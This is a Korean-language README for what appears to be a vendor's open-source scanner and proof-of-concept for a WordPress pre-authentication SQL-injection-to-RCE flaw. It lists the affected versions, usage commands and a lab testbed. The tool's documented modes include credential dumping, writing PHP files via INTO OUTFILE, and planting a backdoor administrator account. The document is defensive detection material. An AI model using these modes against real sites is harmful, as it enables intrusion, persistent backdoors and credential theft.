
CVE-2026-63030(wp2shell)용 스캐너 및 개념 증명(PoC) 도구 모음 - WordPress 코어의 사전 인증 원격 코드 실행

--check-type time-based(SLEEP 타이밍) 및 --check-type error-based(TRUE/FALSE/손상 차분). 둘 다 광범위한 자산 스캔에 안전합니다.--i-have-authorization 플래그 뒤에 게이트되어 있습니다.CVE-2026-63030("wp2shell")은 WordPress 코어의 사전 인증 원격 코드 실행 취약점입니다. REST API 배치 엔드포인트(/batch/v1)의 라우트 혼동/인덱스 역동기화 버그로 인해 인증되지 않은 공격자가 소독되지 않은 author_exclude 값을 WP_Query로 밀반입하여 SQL 인젝션을 유발할 수 있습니다. 데이터베이스 사용자가 FILE 권한을 보유한 경우 SELECT ... INTO OUTFILE을 통한 원격 코드 실행으로 이어집니다. 플러그인은 필요하지 않습니다. 기본 WordPress 설치가 영향을 받습니다.
WordPress는 6.9.5, 7.0.2, 7.1-beta2에서 수정 버전을 배포했습니다. 즉시 패치하세요. 인프라에서 이 취약점을 스캔하거나 발견하는 데 도움이 필요하면 [email protected]로 이메일을 보내주세요. 자세한 내용은 fullhunt.io 블로그에서 확인할 수 있습니다.
| 브랜치 | 취약 버전 | 수정 버전 |
|---|---|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | 영향 없음(배치 엔드포인트 미존재) | — |
우리는 wp2shell(CVE-2026-63030)이 공개적으로 알려진 이후로 이를 연구해 왔으며, 고객들과 함께 이 취약점을 예방하는 작업을 진행했습니다. CVE-2026-63030을 발견하고 검증하기 위한 오픈 탐지 및 스캐닝 도구를 오픈소스로 공개합니다. 보안 팀은 이 도구를 사용하여 인프라에서 wp2shell을 스캔하고, WAF 규칙과 패치가 조직 환경에서 실제로 공격 체인을 차단하는지 확인할 수 있습니다.
wp2shell-scan.py는 8가지 모드를 지원하는 단일 통합 스캐너입니다:
| 모드 | 용도 | 승인 필요 |
|---|---|---|
check | 비파괴적 탐지. --check-type time-based(SLEEP 타이밍 프로브) 또는 --check-type error-based(TRUE/FALSE/손상 차분) 두 가지 검사 유형. | 아니요 |
probe-endpoints | 어떤 REST 엔드포인트가 인젝션을 WP_Query로 전달하는지 발견. | 아니요 |
probe | N개 SQL 페이로드 응답의 나란한 비교(diff). | 아니요 |
extract | DB 메타데이터 및 해시의 부울 오라클 추출. | 예 |
blind | 타이밍 기반 블라인드 추출(부울 오라클이 신뢰할 수 없을 때의 폴백). | 예 |
exploit | 전체 SQLi → INTO OUTFILE → PHP 실행 체인 검증. | 예 |
adduser | 관리자 계정을 생성하는 mu-plugin 백도어 작성; 부울 해시 추출로 폴백. | 예 |
get-users | 모든 wp_users 자격 증명의 부울 오라클 덤프. | 예 |
참고: 승인 필요 열에서 "예"로 표시된 모드는
--i-have-authorization플래그가 필요합니다.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
안전한 오프라인 재현을 위해 설계상 취약한 WordPress 7.0.1 + MariaDB 환경(FILE 권한 부여됨)이 포함되어 있습니다:
$ cd testbed
$ docker compose up -d
# Complete the WordPress setup wizard at http://localhost:8080, then:
$ python3 wp2shell-scan.py check -u http://localhost:8080
FullHunt는 차세대 공격 표면 관리 플랫폼입니다. FullHunt는 기업이 모든 공격 표면을 발견하고, 노출 여부를 모니터링하며, 최신 보안 취약점을 지속적으로 스캔할 수 있게 해줍니다. 이 모든 것이 단일 플랫폼에서, 그리고 그 이상으로 제공됩니다.
FullHunt는 조직을 위한 엔터프라이즈 플랫폼을 제공합니다. FullHunt Enterprise Platform은 고객에게 확장된 스캔 및 기능을 제공합니다. FullHunt Enterprise 플랫폼은 조직이 외부 공격 표면을 면밀히 모니터링하고 발생하는 모든 변경 사항에 대해 상세한 알림을 받을 수 있게 합니다. 전 세계 조직들은 지속적인 보안 및 외부 공격 표면 보안 과제를 해결하기 위해 FullHunt Enterprise Platform을 사용합니다.
이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하기 위해 wp2shell-scan을 사용하는 것은 불법입니다. 적용 가능한 모든 지방, 주 및 연방 법률을 준수할 책임은 최종 사용자에게 있습니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
Mazin Ahmed